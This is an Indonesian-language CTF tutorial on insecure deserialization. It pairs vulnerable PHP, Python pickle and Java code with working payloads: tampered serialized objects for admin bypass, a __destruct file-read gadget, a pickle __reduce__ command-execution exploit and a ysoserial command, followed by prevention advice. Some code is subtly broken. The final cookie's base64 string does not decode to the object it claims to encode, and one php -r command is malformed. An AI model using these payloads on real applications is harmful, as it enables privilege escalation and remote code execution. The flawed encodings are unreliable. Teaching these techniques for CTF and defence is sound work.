

## Apa itu Insecure Deserialization?

**Insecure Deserialization** adalah kerentanan ketika aplikasi menerima data yang telah di-*serialize* dari user lalu langsung di-*deserialize* tanpa validasi yang aman.

Serialization = mengubah object/program data menjadi format tertentu agar bisa disimpan atau dikirim.

Contoh format serialization:

- PHP serialize
- Python pickle
- Java serialization
- JSON object
- YAML
- XML

Deserialization = proses mengubah kembali data tersebut menjadi object/program.

Masalahnya:

Jika attacker bisa mengontrol data serialized, maka attacker dapat:

- Mengubah privilege
- Bypass login
- Menjalankan command
- Membaca file
- Bahkan Remote Code Execution (RCE)

---

## Analogi Sederhana

Bayangkan aplikasi menyimpan data user seperti ini:

```
$user = [  
  "username" => "asep",  
  "role" => "user"  
];
```

Lalu di-*serialize*:

```
a:2:{s:8:"username";s:4:"asep";s:4:"role";s:4:"user";}
```

Kalau aplikasi percaya begitu saja terhadap data itu, attacker bisa mengubah:

```
a:2:{s:8:"username";s:4:"asep";s:4:"role";s:5:"admin";}
```

Hasil:

User biasa berubah jadi admin.

---

## **Alur Serangan Insecure Deserialization**

### **1. Aplikasi serialize object**

Misalnya:

- Cookie
- Session
- JWT custom
- Hidden form
- API response

### **2. User bisa mengubah serialized data**

Karena data ada di browser/user side.

### **3. Server deserialize tanpa validasi**

Contoh berbahaya:

#### **PHP**

```
unserialize($_COOKIE['session']);
```

#### **Python**

```
pickle.loads(user_input)
```

#### **Java**

```
ObjectInputStream.readObject()
```

---

## **Kenapa Berbahaya?**

Karena object tertentu memiliki:

- magic method
- callback

- destructor
- gadget chain

Yang otomatis dijalankan saat deserialize.

Contoh:

- \_\_wakeup()
- \_\_destruct()
- readObject()

---

## Contoh Insecure Deserialization di CTF Jeopardy

---

### Contoh 1 — Privilege Escalation (Pemula)

#### Source Code PHP

```
<?php
```

```
class User {  
    public $username = "guest";  
    public $role = "user";  
}  
  
if(isset($_COOKIE['data'])) {  
    $obj = unserialize(base64_decode($_COOKIE['data']));  
  
    if($obj->role === "admin") {  
        echo "FLAG{admin_access}";  
    } else {  
        echo "Hello ".$obj->username;  
    }  
}
```

?>

---

## Analisis

Cookie berisi object serialized.

Normal object:

```
O:4:"User":2:{s:8:"username";s:5:"guest";s:4:"role";s:4:"user";}
```

---

## Eksplorasi

Ubah menjadi:

```
O:4:"User":2:{s:8:"username";s:4:"asep";s:4:"role";s:5:"admin";}
```

Base64 encode:

```
php -r 'echo
```

```
base64_encode('\O:4:"User":2:{s:8:"username";s:4:"asep";s:4:"role";s:5:"admin";}\');
```

Kirim ke cookie browser.

---

## Hasil

Server membaca:

```
$obj->role === "admin"
```

Flag muncul.

---

## Contoh 2 — Magic Method Exploitation

---

### Source Code

```
<?php
```

```
class FileReader {
```

```
    public $file;
```

```
function __destruct() {  
    echo file_get_contents($this->file);  
}  
}
```

```
unserialize($_GET['data']);  
?>
```

---

### **Vulnerability**

Saat object dihancurkan:

- `__destruct()` otomatis dipanggil.

Attacker bisa mengontrol \$file.

---

### **Payload**

```
O:10:"FileReader":1:{s:4:"file";s:10:"/flag.txt";}
```

URL encode:

```
?data=O:10:"FileReader":1:{s:4:"file";s:10:"/flag.txt";}
```

---

### **Hasil**

Server menjalankan:

```
file_get_contents("/flag.txt");
```

Flag terbaca.

---

### **Contoh 3 — Python Pickle RCE**

Ini sering muncul di CTF.

---

### **Vulnerable Code**

```
import pickle
import base64

data = base64.b64decode(input())
obj = pickle.loads(data)
```

---

### **Masalah**

`pickle.loads()` bisa menjalankan code.

---

### **Payload Exploit**

```
import pickle
import os
import base64

class Exploit:
    def __reduce__(self):
        return (os.system, ("cat flag.txt",))

payload = base64.b64encode(pickle.dumps(Exploit()))

print(payload.decode())
```

---

### **Saat Deserialize**

Server menjalankan:

```
os.system("cat flag.txt")
```

---

### **Hasil**

Flag keluar.

---

## Contoh 4 — Java Deserialization (Konsep Penting)

Di CTF kadang muncul:

- ysoserial
- CommonsCollections gadget chain

---

### Vulnerable Java

```
ObjectInputStream in = new ObjectInputStream(request.getInputStream());
```

```
Object obj = in.readObject();
```

---

### Eksplorasi

Gunakan tool:

```
java -jar ysoserial.jar CommonsCollections1 "cat flag.txt"
```

Hasilnya:

Payload serialized yang mengeksekusi command saat deserialize.

---

### Tanda-Tanda Insecure Deserialization di CTF

Perhatikan:

- Cookie aneh base64
- Data seperti:
  - O:
  - a:
  - s:
- Parameter panjang random
- Session custom
- pickle
- .ser
- unserialize

- readObject
- yaml.load

---

## Cara Identifikasi

### 1. Decode Base64

```
echo "payload" | base64 -d
```

---

### 2. Lihat format

#### PHP Serialized

```
O:4:"User"
```

#### Pickle

Biasanya byte aneh:

```
\x80\x04
```

---

### 3. Cari Magic Method

Contoh:

- \_\_wakeup
- \_\_destruct
- \_\_toString

---

## Teknik Eksploitasi Umum

| Teknik             | Tujuan            |
|--------------------|-------------------|
| Modify property    | Jadi admin        |
| Magic method abuse | Baca file         |
| Gadget chain       | RCE               |
| Pickle reduce      | Command execution |
| Session tampering  | Login bypass      |

---

## Tools yang Sering Dipakai

| Tool        | Fungsi               |
|-------------|----------------------|
| Burp Suite  | Edit cookie/request  |
| CyberChef   | Decode/encode        |
| phpggc      | PHP gadget chain     |
| ysoserial   | Java deserialization |
| pickletools | Analisis pickle      |

---

## Contoh Soal CTF Mini

### Vulnerable App

```
<?php
```

```
class User {
```

```
    public $role = "user";
```

```
}
```

```
$data = base64_decode($_COOKIE['session']);
```

```
$obj = unserialize($data);
```

```
if($obj->role === "admin") {
```

```
    echo "FLAG{deserialize_master}";
```

```
}
```

```
?>
```

---

## Cara Solve

### 1. Buat payload

```
O:4:"User":1:{s:4:"role";s:5:"admin";}
```

---

## 2. Encode

```
echo -n 'O:4:"User":1:{s:4:"role";s:5:"admin";}' | base64
```

---

## 3. Ganti cookie

```
Cookie: session=Tzo0OiJVc2VyljoxOntzOjQ6InJvbGUiO3M6NToiYWRTaW4iO30=
```

---

## 4. Dapat flag

```
FLAG{deserialize_master}
```

---

## Cara Mencegah Insecure Deserialization

### Jangan deserialize data dari user

Paling aman.

---

### Gunakan JSON biasa

Lebih aman dibanding object serialization.

---

### Validasi signature/HMAC

Agar data tidak bisa dimodifikasi.

---

### Hindari:

#### PHP

```
unserialize()
```

#### Python

```
pickle.loads()
```

#### YAML

```
yaml.load()
```

Gunakan versi aman:

- `json.loads`
- `yaml.safe_load`

---

## Ringkasan

| Konsep          | Penjelasan                   |
|-----------------|------------------------------|
| Serialization   | Object → string              |
| Deserialization | String → object              |
| Vulnerability   | User bisa kontrol object     |
| Dampak          | Admin bypass, file read, RCE |
| Bahasa rawan    | PHP, Python, Java            |
| CTF umum        | Cookie/session manipulation  |